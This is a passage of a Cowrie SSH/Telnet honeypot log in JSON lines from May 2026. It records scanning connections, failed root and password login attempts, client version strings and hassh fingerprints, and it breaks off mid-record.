{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"48:4c:f5:a7:a4:2f:0a:5c:2a:25:18:73:d8:67:50:9b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4eHoUj3e9D/Okvstx2t4WuIoq4IwpdMtMkydiVAbdJzk0zyKt8MJM60gMTx3qO9z1gGIh2etgwsUtYAVz8DyFWcnkiIWNMVNHsy+QbWMGyqCLSwJveh/cdMoWo2q2NHkYuQ0kTMSgfVGxXBDM/RT3GjK7KdeLKmZz7bUx+ipPXJ/gK+cXGyZzSRiq6m9bDCL4HHSQfoylcdWSd6GYTElA8kp3wOnnT+4/PTYCpT19T70iJATyKtnniDoDZ9CnAN63qQvc9qOTjvTJ2Mj+WFSzbKZd9mT3ozcvTVfz5AQxw7J8FnyKSVMIL5lSobHX2qo+MijeRtJpDYkpEID4TYLT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 48:4c:f5:a7:a4:2f:0a:5c:2a:25:18:73:d8:67:50:9b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:21:22.659562Z","src_ip":"45.142.3.73","session":"a3ebc8e29b2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"48:4c:f5:a7:a4:2f:0a:5c:2a:25:18:73:d8:67:50:9b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4eHoUj3e9D/Okvstx2t4WuIoq4IwpdMtMkydiVAbdJzk0zyKt8MJM60gMTx3qO9z1gGIh2etgwsUtYAVz8DyFWcnkiIWNMVNHsy+QbWMGyqCLSwJveh/cdMoWo2q2NHkYuQ0kTMSgfVGxXBDM/RT3GjK7KdeLKmZz7bUx+ipPXJ/gK+cXGyZzSRiq6m9bDCL4HHSQfoylcdWSd6GYTElA8kp3wOnnT+4/PTYCpT19T70iJATyKtnniDoDZ9CnAN63qQvc9qOTjvTJ2Mj+WFSzbKZd9mT3ozcvTVfz5AQxw7J8FnyKSVMIL5lSobHX2qo+MijeRtJpDYkpEID4TYLT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:21:22.663228Z","src_ip":"45.142.3.73","session":"a3ebc8e29b2f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ca:75:cb:4d:79:57:fb:21:7d:9d:c2:63:8e:90:c7:fa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtFtSavkj4W2eM+FRYwdXWU4Edtl3CGuBhvY50YY8pti3bpdRNOEXpFmjQmRrrQ9btmxPY+z0fJag/EoJsEOi9bfYZXXMcmwGRlNMeAm30e6Z3OeLF4bXgw0yuvk+glwM3iwMuIVkf5nWlu2fmxVzHLAfK9aekxiFxIIQsGgaYGrj3rlsafo417rGmm1H+Y1O1eBQi9gsnQ/vhAKtqkoirLtJp43wYZM7BN1f4L+74cLh3MSKDg0KMJiwJhIJYt8s1RiNvrVZBLxwhPv7yzyQMbNZEtr8pvnSXhVke2ytgAeDyCozWXi3Yk3NKyJcPqu+DMn4fStwOBDzJUFZ5JCB9Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ca:75:cb:4d:79:57:fb:21:7d:9d:c2:63:8e:90:c7:fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:21:22.754075Z","src_ip":"45.142.3.73","session":"a3ebc8e29b2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ca:75:cb:4d:79:57:fb:21:7d:9d:c2:63:8e:90:c7:fa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtFtSavkj4W2eM+FRYwdXWU4Edtl3CGuBhvY50YY8pti3bpdRNOEXpFmjQmRrrQ9btmxPY+z0fJag/EoJsEOi9bfYZXXMcmwGRlNMeAm30e6Z3OeLF4bXgw0yuvk+glwM3iwMuIVkf5nWlu2fmxVzHLAfK9aekxiFxIIQsGgaYGrj3rlsafo417rGmm1H+Y1O1eBQi9gsnQ/vhAKtqkoirLtJp43wYZM7BN1f4L+74cLh3MSKDg0KMJiwJhIJYt8s1RiNvrVZBLxwhPv7yzyQMbNZEtr8pvnSXhVke2ytgAeDyCozWXi3Yk3NKyJcPqu+DMn4fStwOBDzJUFZ5JCB9Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:21:22.758240Z","src_ip":"45.142.3.73","session":"a3ebc8e29b2f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bd:99:f1:91:6b:e7:53:25:70:5e:bd:4e:8b:06:c5:ae","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQClmmW9VFgDK2IVkN8jlse5UAuBGqCc/XkC9WyTLFnSsr95mcR3YhpVDIzV6NtvI2nhk/TIol69QlOwZhnpJ1H5jT3oDg/PvyLQ54bc3HRcQ8OLArzmr0LqiVc5QCd1nugkzkHLEv9JtDjn1vANFafHDbUvkPKfbv02JtP2MQLuUcRg4TqYEOTJ9+Zf2aDk9IZ3aP0VyyzEk7n8WbsqnDwBFGuCfbDGDlodXAgFsyFlkj2Rg2ZDukFG6ZG6wX9flLS7Zts+7y7R2pXRHv9k2XiwPv8OlxmeEqI6Aya+HA3Lc7RA+uJwuH77GfSjLs0foOO0pOXg6sHTxnKVDXu2RhOx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bd:99:f1:91:6b:e7:53:25:70:5e:bd:4e:8b:06:c5:ae","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:21:22.848834Z","src_ip":"45.142.3.73","session":"a3ebc8e29b2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bd:99:f1:91:6b:e7:53:25:70:5e:bd:4e:8b:06:c5:ae","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQClmmW9VFgDK2IVkN8jlse5UAuBGqCc/XkC9WyTLFnSsr95mcR3YhpVDIzV6NtvI2nhk/TIol69QlOwZhnpJ1H5jT3oDg/PvyLQ54bc3HRcQ8OLArzmr0LqiVc5QCd1nugkzkHLEv9JtDjn1vANFafHDbUvkPKfbv02JtP2MQLuUcRg4TqYEOTJ9+Zf2aDk9IZ3aP0VyyzEk7n8WbsqnDwBFGuCfbDGDlodXAgFsyFlkj2Rg2ZDukFG6ZG6wX9flLS7Zts+7y7R2pXRHv9k2XiwPv8OlxmeEqI6Aya+HA3Lc7RA+uJwuH77GfSjLs0foOO0pOXg6sHTxnKVDXu2RhOx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:21:22.852961Z","src_ip":"45.142.3.73","session":"a3ebc8e29b2f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c9:67:9f:62:9b:58:bb:2a:20:95:15:9c:af:af:21:29","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAw4ti3TyaGD29egnwk9n6T7QcAuenfhZnMVjtUGnkDe++zabkv82IZFHQbGNLq2UPnCmzFkUS1vawA0mdfUtYXS/myG8LwwrCBIBGALico0kaVdy5vPlnw12Vx3WwSZdStRbC3k88G8S45uIDVQKG2EzTPhMdPn0U5Dw1CkxEicbyJmR3m9bB6ivJ2/SunkBUgszjjnlEcOo1u5ksYNEwXRMbPhLaFU9GYi4hXYJiU8rVWqKrBNWE+iuz1lpqi68Li1F16wazdm95Z/1s7ljQR7Iz8d22MbIRhLO5BYNE8FWzdAN6WqFqPWubHCX6N2mv7Dt7sWPMaqyNyrl5KMbIaw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c9:67:9f:62:9b:58:bb:2a:20:95:15:9c:af:af:21:29","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:21:22.942340Z","src_ip":"45.142.3.73","session":"a3ebc8e29b2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c9:67:9f:62:9b:58:bb:2a:20:95:15:9c:af:af:21:29","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAw4ti3TyaGD29egnwk9n6T7QcAuenfhZnMVjtUGnkDe++zabkv82IZFHQbGNLq2UPnCmzFkUS1vawA0mdfUtYXS/myG8LwwrCBIBGALico0kaVdy5vPlnw12Vx3WwSZdStRbC3k88G8S45uIDVQKG2EzTPhMdPn0U5Dw1CkxEicbyJmR3m9bB6ivJ2/SunkBUgszjjnlEcOo1u5ksYNEwXRMbPhLaFU9GYi4hXYJiU8rVWqKrBNWE+iuz1lpqi68Li1F16wazdm95Z/1s7ljQR7Iz8d22MbIRhLO5BYNE8FWzdAN6WqFqPWubHCX6N2mv7Dt7sWPMaqyNyrl5KMbIaw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:21:22.946137Z","src_ip":"45.142.3.73","session":"a3ebc8e29b2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:21:23.035783Z","src_ip":"45.142.3.73","session":"a3ebc8e29b2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51262,"dst_ip":"10.17.0.5","dst_port":23,"session":"beaf073f5ba5","protocol":"telnet","message":"New connection: 152.42.224.71:51262 (10.17.0.5:23) [session: beaf073f5ba5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:21:23.499882Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51276,"dst_ip":"10.17.0.5","dst_port":23,"session":"01693f03ed1e","protocol":"telnet","message":"New connection: 152.42.224.71:51276 (10.17.0.5:23) [session: 01693f03ed1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:21:25.202116Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42120,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9e02db24b2a","protocol":"telnet","message":"New connection: 152.42.224.71:42120 (10.17.0.5:23) [session: b9e02db24b2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:21:26.121292Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42128,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb8d61c761ce","protocol":"telnet","message":"New connection: 152.42.224.71:42128 (10.17.0.5:23) [session: eb8d61c761ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:21:27.576564Z"}
{"eventid":"cowrie.session.closed","duration":34.38648009300232,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:21:29.474470Z","src_ip":"152.42.224.71","session":"71de08aac34a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.36683011054993,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:21:29.811107Z","src_ip":"152.42.224.71","session":"757b599bab8f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42144,"dst_ip":"10.17.0.5","dst_port":23,"session":"ecb180f52d5f","protocol":"telnet","message":"New connection: 152.42.224.71:42144 (10.17.0.5:23) [session: ecb180f52d5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:21:30.761949Z"}
{"eventid":"cowrie.session.closed","duration":120.0017249584198,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:21:31.165424Z","src_ip":"152.42.224.71","session":"dc6c3780d490","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42148,"dst_ip":"10.17.0.5","dst_port":23,"session":"c68eca88999c","protocol":"telnet","message":"New connection: 152.42.224.71:42148 (10.17.0.5:23) [session: c68eca88999c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:21:33.165885Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.238.160.191","src_port":42182,"dst_ip":"159.203.135.109","dst_port":22,"session":"af9209600040","protocol":"ssh","message":"New connection: 170.238.160.191:42182 (159.203.135.109:22) [session: af9209600040]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:21:33.713332Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:21:33.718478Z","src_ip":"170.238.160.191","session":"af9209600040","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:21:33.840178Z","src_ip":"170.238.160.191","session":"af9209600040","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"localhost","password":"Jay56","message":"login attempt [localhost/Jay56] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:21:34.324869Z","src_ip":"170.238.160.191","session":"af9209600040","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:21:35.442695Z","src_ip":"170.238.160.191","session":"af9209600040","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42164,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6aca2ef145b","protocol":"telnet","message":"New connection: 152.42.224.71:42164 (10.17.0.5:23) [session: f6aca2ef145b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:21:35.454978Z"}
{"eventid":"cowrie.session.closed","duration":23.536136388778687,"message":"Connection lost after 23 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:21:48.738158Z","src_ip":"152.42.224.71","session":"01693f03ed1e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":26.73802399635315,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:21:50.237791Z","src_ip":"152.42.224.71","session":"beaf073f5ba5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54062,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c0c357b33b6","protocol":"telnet","message":"New connection: 152.42.224.71:54062 (10.17.0.5:23) [session: 8c0c357b33b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:21:53.755533Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54072,"dst_ip":"10.17.0.5","dst_port":23,"session":"865e2312bcf6","protocol":"telnet","message":"New connection: 152.42.224.71:54072 (10.17.0.5:23) [session: 865e2312bcf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:21:54.796844Z"}
{"eventid":"cowrie.session.closed","duration":37.223034620285034,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:21:55.694758Z","src_ip":"152.42.224.71","session":"166be6e20397","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":44454,"dst_ip":"159.203.135.109","dst_port":22,"session":"51f9f3bf5abe","protocol":"ssh","message":"New connection: 47.237.167.49:44454 (159.203.135.109:22) [session: 51f9f3bf5abe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:21:56.852503Z"}
{"eventid":"cowrie.session.closed","duration":88.56038475036621,"message":"Connection lost after 88 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:21:58.350687Z","src_ip":"152.42.224.71","session":"cd027275d8f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.26989030838013,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:22:03.391043Z","src_ip":"152.42.224.71","session":"b9e02db24b2a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39366,"dst_ip":"10.17.0.5","dst_port":23,"session":"4fa58ae4e0db","protocol":"telnet","message":"New connection: 152.42.224.71:39366 (10.17.0.5:23) [session: 4fa58ae4e0db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:22:05.224340Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39378,"dst_ip":"10.17.0.5","dst_port":23,"session":"5834aecede1b","protocol":"telnet","message":"New connection: 152.42.224.71:39378 (10.17.0.5:23) [session: 5834aecede1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:22:05.606831Z"}
{"eventid":"cowrie.session.closed","duration":33.677616357803345,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:22:06.843355Z","src_ip":"152.42.224.71","session":"c68eca88999c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.93864893913269,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:22:07.700454Z","src_ip":"152.42.224.71","session":"ecb180f52d5f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54972,"dst_ip":"10.17.0.5","dst_port":23,"session":"e982d117ef89","protocol":"telnet","message":"New connection: 152.42.224.71:54972 (10.17.0.5:23) [session: e982d117ef89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:22:11.095005Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:22:14.028923Z","src_ip":"47.237.167.49","session":"51f9f3bf5abe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:22:14.257442Z","src_ip":"47.237.167.49","session":"51f9f3bf5abe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":34040,"dst_ip":"159.203.135.109","dst_port":22,"session":"58438a32ca56","protocol":"ssh","message":"New connection: 194.59.206.2:34040 (159.203.135.109:22) [session: 58438a32ca56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:22:16.564121Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:22:16.569352Z","src_ip":"194.59.206.2","session":"58438a32ca56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:22:16.693191Z","src_ip":"194.59.206.2","session":"58438a32ca56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:22:16.800135Z","src_ip":"194.59.206.2","session":"58438a32ca56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37222,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d09a44530d9","protocol":"telnet","message":"New connection: 152.42.224.71:37222 (10.17.0.5:23) [session: 9d09a44530d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:22:21.469106Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":48256,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ba790b8ef4f","protocol":"ssh","message":"New connection: 103.173.227.57:48256 (159.203.135.109:22) [session: 4ba790b8ef4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:22:21.659306Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:22:21.662846Z","src_ip":"103.173.227.57","session":"4ba790b8ef4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-5